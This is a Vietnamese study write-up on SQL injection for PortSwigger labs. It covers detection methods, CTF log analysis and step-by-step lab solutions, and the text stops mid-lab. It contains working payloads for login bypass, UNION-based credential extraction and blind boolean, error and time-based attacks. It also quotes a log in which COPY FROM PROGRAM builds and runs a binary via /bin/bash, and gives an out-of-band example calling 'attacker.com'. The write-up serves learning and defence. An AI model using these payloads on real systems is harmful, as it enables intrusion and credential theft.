---
# System prepended metadata

title: SQL Injection
tags: [PortSwigger, VCS]

---

# SQL Injection 
![image](https://github.com/vanniichan/Portswigger/assets/112863484/b567c068-f0cd-4604-a5b2-dce12d5874a5)

## What is SQL Injection
- SQL hay Structured Query Language là ngôn ngữ được dùng để giao tiếp với database
- Mấu chốt của lỗi SQL Injection: Sự nhầm lẫn của chương trình giữa untrusted data và SQL query. Điều này cũng giải thích cho việc SQL Injection là một loại lỗi bảo mật phổ biến và xác xuất được tìm thấy rất cao

![image](https://github.com/vanniichan/Portswigger/assets/112863484/11e33a14-f8ab-4d8d-bf1f-0c356682aa80)

## Types of SQLi

![image](https://github.com/vanniichan/Portswigger/assets/112863484/bc3bb96f-2b26-4343-a07e-5f8108287d29)

## How to find vuln
### Black-box Testing 
1. **Khảo sát ứng dụng** bằng cách xác định các điểm đầu vào như form, API, param URL.
2. **Fuzzing ứng dụng** (Fuzz the application)
- Kiểm tra lỗi SQL Injection:
	+ Nhập các ký tự đặc biệt như `'` hoặc `"` vào trường đầu vào và quan sát phản hồi.
	+ Ví dụ: `id=1'--` hoặc `id=" OR 1=1--`
- Kiểm tra điều kiện Boolean:
	+ Thử với các câu lệnh như `OR 1=1` và `OR 1=2` để xem sự khác biệt.
	+ Nếu ứng dụng phản hồi khác nhau, có thể tồn tại lỗ hổng SQL Injection.
- Kiểm tra tấn công dựa trên thời gian (Time-Based Attack):
	+ Dùng các payload như `OR sleep(5)` hoặc `OR BENCHMARK(5000000,MD5(1))` và đo thời gian phản hồi.
	+ Nếu ứng dụng chậm hơn đáng kể, có thể tồn tại SQLi dạng Time-Based.
- Kiểm tra tấn công Out-of-Band (OAST):
	+ Dùng các payload thực hiện truy vấn tới máy chủ bên ngoài như `LOAD_FILE('http://attacker.com')`.

### White-box Testing
1. Kích hoạt logging
Web server logging: Xác định xem payload của bạn có được ghi nhận hay không
Database logging: Bật chế độ logging của database để theo dõi các truy vấn SQL thực thi hay chưa.
2. Review code
- Dùng Regex search để tìm tất cả các truy vấn SQL trong code
- Tìm kiếm các query có nối chuỗi trực tiếp với đầu vào (`$query = "SELECT ... " . $input;`).
- Kiểm tra xem dữ liệu đầu vào có được validate hoặc sử dụng Prepared Statements không.

### Tool
Semgrep, sqlmap, BurpSuite

## Detecting SQL Injection Attacks 
Để hiểu lý do tại sao các cuộc tấn công SQLi, chúng ta hãy xem những gì một cuộc tấn công SQLi có thể làm:
- Authentication bypass
- Thực thi lệnh
- Ăn cắp thông tin nhạy cảm
- Thao túng dữ liệu (thêm, sửa, xóa)

Sau khi xem các cách hoạt động của SQLi qua [các bài lab bên dưới](#Practice-lab) ta sẽ có thể phát hiện các cuộc tấn công và đề phòng một cách tổng quan hơn:

- Khi kiểm tra các request của web, kiểm tra tất cả các khu vực đến từ user: Vì SQLi không giới hạn ở form, cũng nên kiểm tra các HTTP request header như `User-Agent`.
- Tìm kiếm keyword: Tìm kiếm các từ như `INSERT`, `SELECT`, và `WHERE` trong dữ liệu nhận được từ user.
- Kiểm tra bất kỳ ký tự đặc biệt nào: Tìm kiếm dấu nháy đơn `'`, dấu gạch ngang `-` hoặc dấu ngoặc đơn `()` được sử dụng trong SQL hoặc các ký tự đặc biệt thường được sử dụng trong các cuộc tấn công SQL trong dữ liệu nhận được từ user.
- Làm quen với payload thường được sử dụng: Mặc dù payload SQLi thay đổi tùy thuộc vào ứng dụng web, attacker vẫn sử dụng một số payload phổ biến để kiểm tra các lỗ hổng SQL. Tham khảo [ở đây](https://github.com/payloadbox/sql-injection-payload-list)

### Detecting Automated SQL Injection Tools
Attacker sử dụng tool để phát hiện các lỗ hổng SQL. Một trong những tool nổi tiếng là **SQLMAP**. Tuy nhiên, ta hãy nhìn vào bức tranh lớn hơn thay vì tập trung vào một công cụ cụ thể. Có thể sử dụng các phương pháp sau để phát hiện tool:
- Nhìn vào `User-Agent`: Tool thường có tên và phiên bản của chúng được ghi lại. Bạn có thể nhìn vào `User-Agent` để phát hiện các công cụ tự động này.
- Kiểm tra tần suất của các request: Tool được thiết kế để gửi số lượng request ước tính mỗi mili giây để kiểm tra payload càng nhanh càng tốt. User bình thường chỉ có thể gửi trung bình 1 request mỗi giây, vì vậy xem số lượng request mỗi giây sẽ cho biết nếu request là từ tool hay không.
- Nhìn vào nội dung của payload: Tool thường bao gồm tên riêng của chúng trong payload. Ví dụ: SQLMAP gửi payload trông như này: `sqlmap’ OR 1=1`
- Payload phức tạp: Phương pháp phát hiện này có thể không phải lúc nào cũng hoạt động, nhưng dựa trên kinh nghiệm của em : ) có thể nói rằng tool thường gửi payload rất phức tạp .

### A Detection Example
<a href="https://hackmd.io/_uploads/S142_CYnkx.png" target="_blank">
  <img src="https://hackmd.io/_uploads/S142_CYnkx.png" width="300">
</a>

Trước hết, nếu ta xem các page được request, ta thấy rằng bên cạnh các page như `info.php` khá dễ đọc, còn có các request cho các page phức tạp và chứa các ký hiệu như `%`. Ta không thể nói rằng các request cho các page như thế này là độc hại, nhưng thực tế là chúng được lặp đi lặp lại nhiều lần là đáng ngờ.

Tiếp theo, hãy nói về ý nghĩa của các `%`. Khi request page chứa các ký tự đặc biệt, các request này không được gửi trực tiếp đến web server. Thay vào đó, browser thực hiện mã hóa URL của các ký tự đặc biệt và thay thế từng ký tự đặc biệt bằng một chuỗi bắt đầu với `%` và chứa 2 ký tự thập lục phân. Vì vậy, page có chứa biểu tượng `%` ở trên là các trang có chứa các ký tự đặc biệt.

![image](https://hackmd.io/_uploads/S1iB5RY2kl.png)

Nếu ta nhìn vào các request, chúng ta có thể dễ dàng thấy rằng có những từ có thể đọc được như `UNION`, `SELECT`, `AND`, và `CHR` bên cạnh các ký hiệu `%`. Vì đây là những từ cụ thể thuộc về SQL, ta có thể thấy rằng ta đang phải đối mặt với một cuộc tấn công SQLi.

Để bảo vệ mắt :) ta có thể tìm kiếm web tự động giải mã URL

![image](https://hackmd.io/_uploads/rJUxsAY2Jg.png)

Khi xem log ta thấy các request đều từ 19/2. Ta có thể thấy rằng hơn 50 request đã được thực hiện trong 1 giây. Ngoài ra, như đã đề cập trước đó khi attacker kiểm tra thủ công, họ sẽ chọn kiểm tra payload đơn giản trước. Nhưng khi nhìn vào access log, ta thấy rằng payload rất phức tạp. Điều này cho thấy rằng cuộc tấn công có thể được tự động hóa.

Ta cần xác định xem cuộc tấn công có thành công hay không bằng cách xem response trả về. Chúng ta có thể giả định rằng tất cả response sẽ có cùng kích thước vì cuộc tấn công trên cùng một page và thông qua biến `id` và ước tính thành công của cuộc tấn công bằng cách xem xét kích thước của response.

Tuy nhiên thì log này không thể biết được =))

![image](https://hackmd.io/_uploads/rk0Xi0Y3Jl.png)

Tóm lại:
1. Đã có một cuộc tấn công SQLi vào param `id` trên page của ứng dụng web.
2. Các request đến từ địa chỉ IP `192.168.31.174`.
3. Vì có hơn 50 requests mỗi giây, cuộc tấn công này được thực hiện bởi tool.

### A Detection Example 2
Đây là 1 bài ctf khá hay mà có thể lấy làm ví dụ phân tích. File chúng ta có là một file `evidence-log.txt`

#### Brute-force Attack
![image](https://hackmd.io/_uploads/HkIoRqWD1x.png)

Đoạn đầu log ghi lại T.A đang thực hiện **brute-force**. Sau một hồi thực hiện tấn công, T.A đang tấn công thành công khi server đã trả về `200` với credential `admin:legend`

![image](https://hackmd.io/_uploads/Hkobes-PJg.png)

Sau đó T.A thực hiện các test case nhằm vào lỗ hổng **SQLi** ở các path như `/article`, `/user`

#### SQLi to Create program

Ngay sau khi dò, T.A đã thực hiện một loạt hành động lặp lại liên quan đến query SQLi
```log
192.168.25.1 - - [11/Jan/2025 02:53:26] GET http://secret.vsl.com.vn/user?id=1;SELECT%20*%20from%20binary HTTP/1.1 200 - Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0"
192.168.25.1 - - [11/Jan/2025 02:53:26] "GET http://secret.vsl.com.vn/user?id=0;DROP%20TABLE%20IF%20EXISTS%20binary HTTP/1.1" 200 - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0"
192.168.25.1 - - [11/Jan/2025 02:53:26] "GET http://secret.vsl.com.vn/user?id=1;CREATE%20TABLE%20binary(cmd_output%20text) HTTP/1.1" 200 - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0"
192.168.25.1 - - [11/Jan/2025 02:53:26] "GET http://secret.vsl.com.vn/user?id=1;COPY%20binary%20FROM%20PROGRAM%20%27echo%2003003e00010000006010000000000000%20%3E%3E%20binary%27 HTTP/1.1" 200 - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0"
```
![image](https://hackmd.io/_uploads/BkEwtcLDJe.png)

Kết thúc dòng log xuất hiện thêm một query khác 

![image](https://hackmd.io/_uploads/SJzPj5Lwyx.png)

Decode từ URL sang nó trông như thế này
```sql
SELECT * from binary
DROP TABLE IF EXISTS binary
CREATE TABLE binary(cmd_output text)
COPY binary FROM PROGRAM 'echo 03003e00010000006010000000000000 >> binary'
COPY binary FROM PROGRAM 'xxd -r -p binary > binary'
COPY binary FROM PROGRAM '/bin/bash binary'
```
Giải thích hành động trên có thể như sau:
- Để tránh bị phát hiện và khả năng giới hạn input, T.A liên tục nhập các mã binary vào server nhằm mục đích liên tục "viết code" để tạo ra một chương trình
```sql
SELECT * from binary
DROP TABLE IF EXISTS binary
CREATE TABLE binary(cmd_output text)
COPY binary FROM PROGRAM 'echo \03003e00010000006010000000000000 >> binary'
```
- Sau đó sử dụng lệnh của `xxd` để chyueern nó thành dạng binary để chắc chắc chắn nó trở thành file binary
```sql
 COPY binary FROM PROGRAM 'xxd -r -p binary > binary'
 -r chuyển đổi từ hex sang bin
 -p thực hiện giải mã
```
- Sau đó bắn đầu chạy file với `/bin/bash binary`

Sau khi hiểu được hành vi của T.A, ta sẽ biết được bước tiếp theo làm gì : ). Đó chính là grep string lại để xem chương trình đó là gì (Khả năng flag nằm trong file này thôi)
 
#### Grep String to get program
Linux thượng thừa:
```bash
sed -n '6230,10246p' evidence-log.txt |awk '{print $7}'| sed -n 's/.*echo%20\([^%]*\)%20%3E%3E%20binary%27/\1/p' > test.txt
- awk lấy cột thứ 7
- sed tìm và lọc theo regex
```

![image](https://hackmd.io/_uploads/Bk783oUD1e.png)

## How to prevent
- Có thể ngăn hầu hết các trường hợp SQLi bằng cách sử dụng prepared statements thay vì nối chuỗi trong truy vấn
- Ngăn không cho dữ liệu đầu vào của người dùng can thiệp vào cấu trúc truy vấn
- Validate input của user
- Sử dụng Web Application Firewalls (WAF) để filter SQLi attack
- Sử dụng web framework như của ASP.NET, Laravel, Django
- Sử dụng whitelist để chỉ cho phép các query cần thiết

# Practice lab
## SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
### Target Goal 
Đây là SQL query của một trang web filter các danh mục sản phẩm:
```sql
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
```

Để giải bài lab, sử dụng SQLi để lấ các danh mục sản phẩm không được xuất hiện.

### Analysis and exploit
Câu query được hiển thị rõ trên địa chỉ URL

![image](https://hackmd.io/_uploads/BkXg9_H3kg.png)

Nhưng còn có 1 giá trị bị ẩn đi mà chúng ta không thể thay đổi đó là `released = 1`. Có thể hiểu đây là cách trang web hiển thị những category được public trên trang web và những ẩn đi những category không mong muốn (`released = 0`).

Như vậy để solve bài lab với mục tiêu liệt kê tất cả sản phẩm có trong database, ta chỉ cần truyền giá trị cho category là `Pets' or '1'='1' --` . Lúc này câu query trở thành:

```sql
SELECT * FROM products WHERE category = 'Pets' or '1'='1' -- AND released = 1
```

Gửi request với tham số `category=Pets' or '1'='1' --`, ta đã solve được challenge.

## SQL injection vulnerability allowing login bypass
### Target Goal
Bài lab có lỗ hông SQLi ở trang login. Để giải bài lab, login với tài khoản admin với username là `administrator `

### Analysis and exploit
Đây là dạng bài sử dụng SQLi để bypass authentication. Trong bài lab này nếu chèn username là một điều kiện luôn đúng và comment phần sau lại thì sẽ bypass thành công. Cụ thể, để đăng nhập được với `administrator`, ta chỉ cần gửi `username=administrator' or '1'='1' --` . Lúc này câu query trở thành

```sql
SELECT * FROM users WHERE username = 'administrator' or '1'='1' -- AND password = 'peter'
```

![image](https://hackmd.io/_uploads/HkUi3OBn1g.png)

![image](https://hackmd.io/_uploads/BJh6nuH2kl.png)

## SQL injection attack, querying the database type and version on Oracle
### Target Goal
Bài lab có lỗ hông SQLi ở mục filter sản phẩm, sử dụng UNION để leak thông tin từ database

Để giải được bài lab, leak version database của server này đang sử dụng 

![image](https://hackmd.io/_uploads/Byeyytr3yl.png)

### Analysis and exploit
Đầu tiên sẽ xác định số cột trong query, khi giá trị đến 3 trả về lỗi, tức là có 2 cột 

```sql=
category = 'Gifts' ORDER BY 1--
category = 'Gifts' ORDER BY 2--
category = 'Gifts' ORDER BY 3--
```

![image](https://hackmd.io/_uploads/BJp8-KH2ye.png)

Kết hợp với cheatsheet của PortSwigger, ta biết được cách truy vấn ra version của database Oracle như sau

```sql
SELECT banner FROM v$version
SELECT version FROM v$instance
```

Kết hợp lại và hoàn thành bài lab 

![image](https://hackmd.io/_uploads/S1NRbYr2Jg.png)

## SQL injection attack, querying the database type and version on MySQL and Microsoft
### Target Goal
Bài lab có lỗ hông SQLi ở mục filter sản phẩm, sử dụng UNION để leak thông tin từ database

Để giải được bài lab, leak version database của server này đang sử dụng 

![image](https://hackmd.io/_uploads/r1YtGFB21e.png)

### Analysis and exploit
Bước đầu tiên vẫn là sử dụng ORDER BY và UNION xác định số cột và dạng dữ liệu. Do không phải Oracle nên lần này payload sẽ là: `' UNION SELECT null, null #` ( dùng `#` để comment thay vì `--` và không cần select từ table dual)

```sql=
' UNION SELECT null #
' UNION SELECT null, null #
```

Kết hợp với cheatsheet của PortSwigger, ta biết được cách truy vấn ra version của database Oracle như sau

```sql
SELECT @@version
```

Kết hợp lại và hoàn thành bài lab 

```sql
' UNION SELECT null, @@version #
```

![image](https://hackmd.io/_uploads/S1r0DYHh1x.png)

## Lab: SQL injection attack, listing the database contents on non-Oracle database
### Target Goal
Bài lab có lỗ hông SQLi ở mục filter sản phẩm, sử dụng UNION để leak thông tin từ database

Để giải được bài lab, leak credential của user admin và login vào
### Analysis and exploit
Đầu tiên là xác định số cột của database này và số cột trả về của câu query là 2

![image](https://hackmd.io/_uploads/SJSjyjInJg.png)

Thử lần lượt payload để kiểm tra xem nó sử dụng database gì bằng cách kiểm tra version, từ đây ta biết được database sử dụng là PostgreSQL

![image](https://hackmd.io/_uploads/B1ogljIh1l.png)

Tiếp theo là xác tên bảg và tên cột

```sql
'Gifts' UNION SELECT table_name,null FROM information_schema.tables--

'Gifts' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = 'users_wawjom'--
```
![image](https://hackmd.io/_uploads/S1YsljLn1l.png)

Sau khi biết tên cột, tên bảng thì dễ dàng lấy được credential của bảng này

![image](https://hackmd.io/_uploads/rJ0WWs8hJl.png)

Login và hoàn thành bài lab

## SQL injection attack, listing the database contents on Oracle
### Target Goal
Bài lab có lỗ hông SQLi ở mục filter sản phẩm, sử dụng UNION để leak thông tin từ database

Để giải được bài lab, leak credential của user admin và login vào
### Analysis and exploit
Đầu tiên, chúng ta xác định số cột trong table category bằng `ORDER BY`

Payload: `'ORDER BY 3 --` -> error

![image](https://hackmd.io/_uploads/H15kfoI21l.png)

`'ORDER BY 2--` -> trả về response, xác định table có 2 cột

![image](https://hackmd.io/_uploads/SJaezsLn1e.png)

Tiếp theo, phải tìm xem cột nào trong 2 cột có hỗ trợ data dạng text để không gặp phải lỗi khác kiểu dữ liệu khi thực hiện UNION. Oracle sẽ có 1 table mặc định là `dual`. Sau khi kiểm tra, table này có 2 cột dùng để lưu 1 số hàm đặc biệt.

Từ đó, chúng ta có thể tạo ra payload UNION kiểm tra cột nào của table category có data dạng text:

```sql
' UNION SELECT 'abc', 'def' FROM dual --
```

![image](https://hackmd.io/_uploads/BJIPMsIhyl.png)

Không trả về error! Chứng tỏ cả 2 cột đều có dạng text. 

Sử dụng BurpSuite SQLi cheatsheet cho Oracle, tìm được payload cho phép list ra tất cả table có trong database:

```sql
SELECT * FROM all_tables
```
Để  thực hiện UNION attack trên table category (2 cột), chúng ta phải sửa payload thành

```sql
' UNION SELECT table_name, null FROM all_tables--
```
![image](https://hackmd.io/_uploads/rJDaYAU2yl.png)

Trong response có 1 table tên USER, đây chính là nơi lưu thông tin của các user

![image](https://hackmd.io/_uploads/rJHx50I2Jl.png)

Tiếp tục dùng Oracle cheasheet, để xem được tên các cột có trong table , có thể dùng  `SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`

Từ đó tạo ra , để để thực hiện UNION attack vào table `USER_XPSEGY`, payload của ta sẽ có dạng

```sql
'Gifts' UNION SELECT column_name,null FROM all_tab_columns WHERE table_name='USERS_XPSEGY'--
```

![image](https://hackmd.io/_uploads/BJUHc0Uhkx.png)

Đăng nhập vào administrator và hoàn thành bài lab

## SQL injection UNION attack, determining the number of columns returned by the query
### Target Goal
Bài lab có lỗ hông SQLi ở mục filter sản phẩm, sử dụng UNION để leak thông tin từ database

Để giải được bài lab, tìm được số cột của database 

### Analysis and exploit
Đầu tiên, ta sẽ đi xác định số cột trả về bằng ORDER BY. Cụ thể với `category=Gifts' ORDER BY 3 -- -` thì câu query trở thành

```sql
SELECT * FROM products WHERE category = 'Gifts' ORDER BY 3 -- -'
```

Ta thấy, vẫn có kết quả trả về nên số cột ≥ 3.

![image](https://hackmd.io/_uploads/SJL4C08nkl.png)

Thử với payload `category=Gifts' ORDER BY 4 -- -` thì thấy server trả lỗi như dưới → Xác định được số cột là 3.

![image](https://hackmd.io/_uploads/BJ6rCA8nJl.png)

Bây giờ chỉ việc sử dụng UNION với payload `category=Gifts' UNION SELECT null,null,null -- -`, ta sẽ khiến server trả thêm 1 hàng chứa toàn giá trị null. Hoàn thành bài lab.

![image](https://hackmd.io/_uploads/BkiUA08nJl.png)

## SQL injection UNION attack, finding a column containing text
### Target Goal
Bài lab có lỗ hông SQLi ở mục filter sản phẩm, sử dụng UNION để leak thông tin từ database

Để giải được bài lab, thực hiện tấn công SQLi trả về một hàng chứa giá trị được cung cấp

### Analysis and exploit
Bài lab này tương tự bài lab trên, chỉ khác là thay vì hiển thị hàng chứa giá trị null thì sử dụng UNION để hiển thị chuỗi bất kì, cụ thể là `yNBXRx`. Số cột trả về là 3 và ta cần tìm xem cột nào trong 3 cột đó sẽ được hiển thị.

![image](https://hackmd.io/_uploads/r153yJvnJl.png)

Sau khi thử với cột 1 với payload `abc' UNION SELECT 'yNBXRx', null, null -- -` không thành công, thì với cột 2 `abc' UNION SELECT null, 'yNBXRx', null -- -`, ta đã hiển thị thành công chuỗi trên và hoàn thành bài lab.

![image](https://hackmd.io/_uploads/B1uNxJw3ye.png)

## SQL injection UNION attack, retrieving data from other tables
### Target Goal
Bài lab có lỗ hông SQLi ở mục filter sản phẩm, sử dụng UNION để leak thông tin từ database

Trong databse có một table tên là `users` chứa cột `username` và `password`. Để giải được bài lab, thực hiện tấn công SQLi để lấy credential admin và login vào

### Analysis and exploit
Đầu tiên, ta đi xác định số cột trả về của câu query gốc. Với payload `category=Gifts' ORDER BY 2 -- -`, server vẫn trả kết quả về list các sản phẩm thành công.

![image](https://hackmd.io/_uploads/HyFtsJu2Jl.png)

Tuy nhiên, khi sử dụng `category=Gifts' ORDER BY 3 -- -` thì nó báo lỗi → Xác định được số cột là 2.

![image](https://hackmd.io/_uploads/BJsqiydhJe.png)

Sau khi xác định được có 2 cột được trả về, ta chỉ việc sử dụng UNION attack bằng payload `category=Gifts' UNION SELECT username,password from users -- -` để lấy các tài khoản có trong bảng users.

![image](https://hackmd.io/_uploads/rkp2o1Ohkx.png)

Đăng nhập vào administrator và hoàn thành bài lab

## SQL injection UNION attack, retrieving multiple values in a single column
### Target Goal
Bài lab có lỗ hông SQLi ở mục filter sản phẩm, sử dụng UNION để leak thông tin từ database

Trong databse có một table tên là `users` chứa cột `username` và `password`. Để giải được bài lab, thực hiện tấn công SQLi để lấy credential admin và login vào

### Analysis and exploit
Khi sử dụng payload `category=Pets' UNION SELECT username,password from users -- -` thì thấy server báo lỗi → Có thể 1 trong 2 cột trả về sẽ không phải kiểu string

![image](https://hackmd.io/_uploads/H1Cl6kO3Jl.png)

Sau một thời gian thử nghiệm thì phát hiện cột thứ 2 sẽ trả về string thành công bằng cách sử dụng payload `category=Pets' UNION SELECT null,username from users -- -`

![image](https://hackmd.io/_uploads/SkCMaJd3ye.png)

Bây giờ chỉ cần sử dụng cách nối chuỗi trong sql để lấy cả username và password cùng 1 lúc. Cụ thể ta sẽ sử dụng payload sau: 

```sql
category='Pets' UNION SELECT null,username||':'||password from users -- -
```

Lúc này giá trị các cột username và password sẽ được trả về cùng lúc và được ngăn nhau bởi dấu `:`

![image](https://hackmd.io/_uploads/H13LTkOn1g.png)

Đăng nhập vào administrator và hoàn thành bài lab

## Blind SQL injection with conditional responses
### Target Goal
Bài lab có lỗ hông SQLi ở cookie, bài lab sẽ không có bất kỳ hành vi trả về gì kể cả khi inject thành công, tuy nhiên khi query đúng sẽ trả về `'Welcome back!'`

Trong databse có một table tên là `users` chứa cột `username` và `password`. Để giải được bài lab, thực hiện tấn công SQLi để lấy credential admin và login vào

### Analysis and exploit
Như đề bài lỗ hổng nằm ở cookie `TrackingID`.

Khi thêm dấu `'` vào trường `TrackingID`, ta nhận thấy không có gì xảy ra.

![image](https://hackmd.io/_uploads/Hyz8Jzd3Jl.png)

--> dkien đúng --> respond : Welcome..

--> dkien sai --> respond : K trả về Welcome

Trước tiên, ta sẽ đi bruteforce tìm độ dài của password trước với payload sau:

```sql
'a' or (select length(password) from users where username='administrator')=<num> -- 

với <num> là giá trị từ 1 - 30.
```

![image](https://hackmd.io/_uploads/r1Oexz_nyx.png)

Sau khi hoàn thành bruteforce, với giá trị 20, dòng chữ `'Welcome back!''` đã hiển thị → password có độ dài 20 kí tự. Biết được độ dài của password, ta có thể sử dụng hàm `substr()` để tiếp tục bruteforce từng kí tự của password. 

Ý tưởng là nếu kí tự thứ 1 của password bằng với kí tự `x` (bất kì) trong wordlist bruteforce thì điều kiện query đúng → Dòng `'Welcome back!''` hiển thị và cứ thế tăng dần đến kí tự cuối cùng.

Trong Burp , Send to Intruder với reuqest trước đó -> Attack type: `Cluster bomb` -> Payload:

- Set 1: Numbers , From 1 to 20 , Step 1 , Min/Max fraction: 0.
- Set 2(`$a$`): Brute forceer, min/max length: 1, wordlist: `[a-z0-9]`. Ta có thể tạo ra payload: 
```sql
' OR substr((SELECT password FROM users WHERE username='administrator'),§i§,1)='§a§' -- .
```
- `$i$` tượng trưng cho kí tự thứ i (từ 1-20) của password,
- `$a$`  chạy lần lượt từ a-z, A-Z, 0-9 và mỗi lần `$a$` hoàn thành 1 vòng wordlist thì `$i$` sẽ tăng thêm 1. 

![image](https://hackmd.io/_uploads/rJDseM_31l.png)

Kết quả bruteforce trả về từng kí tự trong 20 kí tự của password như hình dưới. Để phân biệt được response đúng, ấn vào `Length` để `Sort by Length` (Descending), do có có thêm dòng `'Welcome back!''` nên sẽ dài hơn các response còn lại.

![image](https://hackmd.io/_uploads/SkfCxGu2Jl.png)

## Blind SQL injection with conditional errors
### Target Goal
Bài lab có lỗ hông SQLi ở cookie, bài lab sẽ trả về lỗi nếu inject thất bại

Trong databse có một table tên là `users` chứa cột `username` và `password`. Để giải được bài lab, thực hiện tấn công SQLi để lấy credential admin và login vào
### Analysis and exploit
Khi thêm 1 dấu `'` vào `TrackingID` cookie, ứng dụng báo lỗi

![image](https://hackmd.io/_uploads/SkuAWMuh1l.png)

Khi thêm 1 dấu `''` vào `TrackingID` cookie, ứng dụng trả về nội dung bình thường -> có lỗi SQLi nếu nhập đúng syntax

![image](https://hackmd.io/_uploads/ry_NzMdhyg.png)

Trước tiên, ta đi xác định số cột trả về của query bằng `ORDER BY`

![image](https://hackmd.io/_uploads/Bk28Gfu2yx.png)

Kết quả trả về, với `' ORDER BY 2 --`  thì server trả lỗi còn `' ORDER BY 1 --`  sẽ hiển thị nội dung → Câu query lấy 1 cột

![image](https://hackmd.io/_uploads/BJChMzd2kg.png)

Nhưng với payload:`' UNION SELECT null from dual --` lại thành công -> database được sử dụng là **Oracle**

![image](https://hackmd.io/_uploads/SJP2GMOnJx.png)

Ngoài ra, ta còn xác định được cột trả về có kiểu dữ liệu chuỗi (CHAR) thay vì dạng số nhờ payload ở 2 hình dưới đây

![image](https://hackmd.io/_uploads/r1PCGz_21l.png)

![image](https://hackmd.io/_uploads/Sk3AMMu31g.png)

Dựa vào các thông tin trên, ta sẽ đi tìm password cho user administrator có trong bảng users bằng phương pháp Error-based bằng payload sau

```sql
'a' UNION SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual
```
Trong đó,

- Khi điều kiện sau WHEN đúng → server thực thi `TO_CHAR(1/0)` → Server trả lỗi do 1/0 không thực thi được. Ở đây dùng TO_CHAR() vì cột trả về có kiểu dữ liệu CHAR.

![image](https://hackmd.io/_uploads/ry9V7zdn1x.png)

- Nếu điều kiện sau WHEN sai → server không trả lỗi

![image](https://hackmd.io/_uploads/HyZSmzd21g.png)

Như vậy, khi các điều kiện liên quan đến password đúng thì server sẽ trả về Error.

Dùng Intruder để bruteforce độ dài password , payload set là Numbers `[1-30]`

![image](https://hackmd.io/_uploads/B1rdmz_hJe.png)

Khi chạy đến 20 thì server trả về lỗi (Status code 500)→ password dài 20 kí tự.

![image](https://hackmd.io/_uploads/rJQKQG_2kg.png)

Tiếp theo là bruteforce từng kí tự của password bằng câu điều kiện với hàm `substr()` 

Thu thập tất cả các response trả lỗi 500 và sắp xếp theo thứ tự trên xuống (Thứ tự của Payload 1) như hình dưới, ta có được password của `administrator` là `0ffkijbhopd77qxatukf`.

Đăng nhập vào administrator và hoàn thành bài lab

## Visible error-based SQL injection
### Target Goal
Bài lab có lỗ hông SQLi ở cookie, kết quả của query sẽ không được hiển thị

Trong databse có một table tên là `users` chứa cột `username` và `password`. Để giải được bài lab, thực hiện tấn công SQLi để lấy credential admin và login vào

### Analysis and exploit
`' and (SELECT '123','123′) --`

![image](https://hackmd.io/_uploads/rk1IrMOhye.png)

Từ response có thể thấy câu query này chỉ được phép có 1 cột. Khi thử với payload `' AND (SELECT password FROM users) --` trả về lỗi như sau

![image](https://hackmd.io/_uploads/SJZuBG_2yg.png)

> “ERROR: argument of AND must be type boolean, not type character varying”. Nghĩa là câu truy vấn SQL (AND) cần được cung cấp 1 giá trị boolean (true/false) thay vì chuỗi kĩ tự.

Chúng ta phải tìm cách chuyển dạng dữ liệu thành boolean (0 hoặc 1). Trong SQLi cheatsheet có 1 hàm khá thú vị: `CAST(...) AS int` dùng để đổi kiểu dữ liệu thành int

![image](https://hackmd.io/_uploads/Bykirf_nkx.png)

Dựa vào đó, có thể biến dữ liệu từ câu truy vấn của mình thành dạng int và so sánh nó với giá trị khác để tạo ra kiểu dữ liệu boolean như sau

```
' and 1=CAST((SELECT password from users)AS int) --
```

![image](https://hackmd.io/_uploads/ry9ASzunJe.png)

Lần này tiếp tục gặp lỗi `"too many columns"`, như đã thử ở trên câu truy vấn chỉ có 1 cột nên chúng ta phải sửa payload để giới hạn số cột trả về bằng cách thêm LIMIT 1
```
' and 1=CAST((SELECT password from users LIMIT 1)AS int) --
```

![image](https://hackmd.io/_uploads/rkclIMd2yg.png)

Mặc dù vẫn lỗi nhưng response có 1 chuỗi kí tự kèm theo. Trước đó chúng ta dùng SELECT password, đổi thành SELECT username để xem thử kết quả trả về

![image](https://hackmd.io/_uploads/rk2bIfOn1x.png)

Lần này response trả về username của tài khoản administrator. Vậy có lẽ kia chính là password cho tài khoản này, thử đăng nhập

![image](https://hackmd.io/_uploads/HJ178Gdhkx.png)

## Blind SQL injection with time delays
### Target Goal
Bài lab có lỗ hông SQLi ở cookie, kết quả của query sẽ không được hiển thị, tuy nhiên vì truy vấn được thực thi đồng bộ, có thể kích hoạt sự chậm trễ thời gian có điều kiện để suy ra thông tin.

Để giải được bài lab, query để server delay 10s
### Analysis and exploit
Do là Blind SQL. kết quả trả về gần như không thay đổi. Chúng ta phải dựa vào những yếu tố khác như time delay (thời gian phản hồi lâu hơn) để xác định có xảy ra lỗi hay không. 

Ở đây dùng SQLi cheatsheet và HackTricks, ta xác định 1 số payload có thể dùng

![image](https://hackmd.io/_uploads/H1EE_Gun1e.png)

Khi thử với payload: `'|| pg_sleep(10)-`, phản hồi bị deplay khoảng 10s -> Hoàn thành bài lab

![image](https://hackmd.io/_uploads/H1RHOGuh1e.png)

## Blind SQL injection with time delays and information retrieval
### Target Goal
Bài lab có lỗ hông SQLi ở cookie, kết quả của query sẽ không được hiển thị, tuy nhiên vì truy vấn được thực thi đồng bộ, có thể kích hoạt sự chậm trễ thời gian có điều kiện để suy ra thông tin.

Trong databse có một table tên là `users` chứa cột `username` và `password`. Để giải được bài lab, thực hiện tấn công SQLi để lấy credential admin và login vào

### Analysis and exploit
Theo như bài lab , chúng ta sẽ phải dùng time delay để thu thập thông tin. 

Bắt 1 repuest bất kì có `TrackingID` và thêm vào phía sau payload 

```
'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--  ,
```
Do 1=1 là điều kiện luôn đúng  -> response bị delay 10s trước khi trả về. Nếu sửa 1=0, response sẽ trả về gần như ngay lập tức.

![image](https://hackmd.io/_uploads/ryzaOMuhyx.png)

Biết được thông tin này, ta có thể sửa payload để đi tìm password của user administrator từ bảng users. 

Trước tiên, kết hợp `LENGTH(password)>1` với payload trước đó

```
